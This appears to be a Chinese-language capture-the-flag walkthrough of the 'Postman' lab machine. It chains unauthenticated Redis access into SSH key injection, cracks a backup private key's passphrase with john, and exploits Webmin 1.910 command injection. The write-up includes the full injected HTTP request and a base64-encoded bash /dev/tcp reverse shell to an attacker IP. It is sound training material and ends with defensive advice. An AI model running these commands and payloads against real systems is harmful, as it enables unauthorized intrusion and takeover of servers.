[Meachines] [Easy] Postman Redis未授权访问-SSH公钥注入+RSA私钥解密+Webmin-RCE权限提升
字数 1227 2025-08-20 18:18:23
Redis未授权访问-SSH公钥注入+RSA私钥解密+Webmin-RCE权限提升完整教学
1. 信息收集阶段
1.1 端口扫描
使用Nmap对目标IP(10.10.10.160)进行扫描:
nmap -p- 10.10.10.160 --min-rate 1000 -sC -sV
扫描结果:
- 22/tcp:OpenSSH 7.6p1 (Ubuntu)
- 80/tcp:Apache httpd 2.4.29
- 6379/tcp:Redis key-value store 4.0.9
- 10000/tcp:Webmin 1.910
1.2 服务识别
- SSH:OpenSSH 7.6p1,可能存在漏洞
- Redis:4.0.9版本,可能存在未授权访问漏洞
- Webmin:1.910版本,已知存在RCE漏洞
2. Redis未授权访问利用
2.1 连接Redis
redis-cli -h 10.10.10.160
2.2 检查配置
CONFIG GET *
CONFIG GET dir
2.3 修改Redis持久化目录
CONFIG SET dir /var/lib/redis/.ssh
2.4 SSH公钥注入
- 生成SSH公钥(如果不存在):
ssh-keygen -t ed25519
- 准备公钥文件:
(echo -e "\n\n";cat ~/.ssh/id_ed25519.pub;echo -e "\n\n")>key.txt
cat key.txt | redis-cli -h 10.10.10.160 -x set id_rsa_key
- 验证公钥已设置:
GET id_rsa_key
- 配置Redis将数据保存为authorized_keys:
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
SAVE
EXIT
2.5 通过SSH连接
ssh -i ~/.ssh/id_ed25519 redis@10.10.10.160
3. RSA私钥解密
3.1 查找备份私钥
cat /opt/id_rsa.bak
3.2 使用John破解私钥密码
- 转换私钥为John可识别格式:
ssh2john id_rsa > id_rsa.john
- 使用rockyou.txt字典破解:
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.john
获取密码:computer2008
3.3 切换用户
su Matt
获取User Flag:9d90e967236578fdf6be43ea87c03a53
4. Webmin RCE权限提升
4.1 识别Webmin版本
whatweb https://10.10.10.160:10000 -v
4.2 查找Webmin漏洞
已知Webmin 1.910存在远程代码执行漏洞:
searchsploit Webmin
参考漏洞利用代码:
https://github.com/KentVolt/Webmin-1.910-Exploit
4.3 登录Webmin
使用之前获取的凭据:
- 用户名:Matt
- 密码:computer2008
4.4 利用Package Updates RCE
- 访问漏洞URL:
https://10.10.10.160:10000/package-updates/?xnavigation=1
- 构造恶意请求:
POST /package-updates/update.cgi HTTP/1.1
Host: 10.10.10.160:10000
Cookie: redirect=1; testing=1; sid=43462a3948984572e11138d45052c3d8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 19
u=acl%2Fapt&u=$(ping%20-c%201%2010.10.16.14)
- 获取反向Shell:
u=acl%2Fapt&u=$(echo${IFS}"L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTQvMTAwMzUgMD4mMScK"|base64${IFS}-d|bash)
其中base64解码后为:
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.14/10035 0>&1'
4.5 获取Root权限
成功获取root shell后:
cat /root/root.txt
获取Root Flag:ded02459b6863f771d4371e25ee2c11c
5. 漏洞总结
- Redis未授权访问:配置不当导致无需认证即可访问Redis服务
- SSH公钥注入:利用Redis持久化机制写入SSH公钥
- 弱密码私钥:备份的RSA私钥使用弱密码保护
- Webmin RCE:1.910版本存在命令注入漏洞,可通过Package Updates功能执行任意命令
6. 防御措施
-
Redis安全配置:
- 设置requirepass
- 绑定特定IP
- 禁用危险命令
-
SSH安全:
- 禁用root登录
- 使用密钥认证
- 限制.ssh目录权限
-
Webmin安全:
- 及时更新到最新版本
- 限制访问IP
- 使用强密码
-
系统安全:
- 定期检查备份文件权限
- 监控可疑进程
- 实施最小权限原则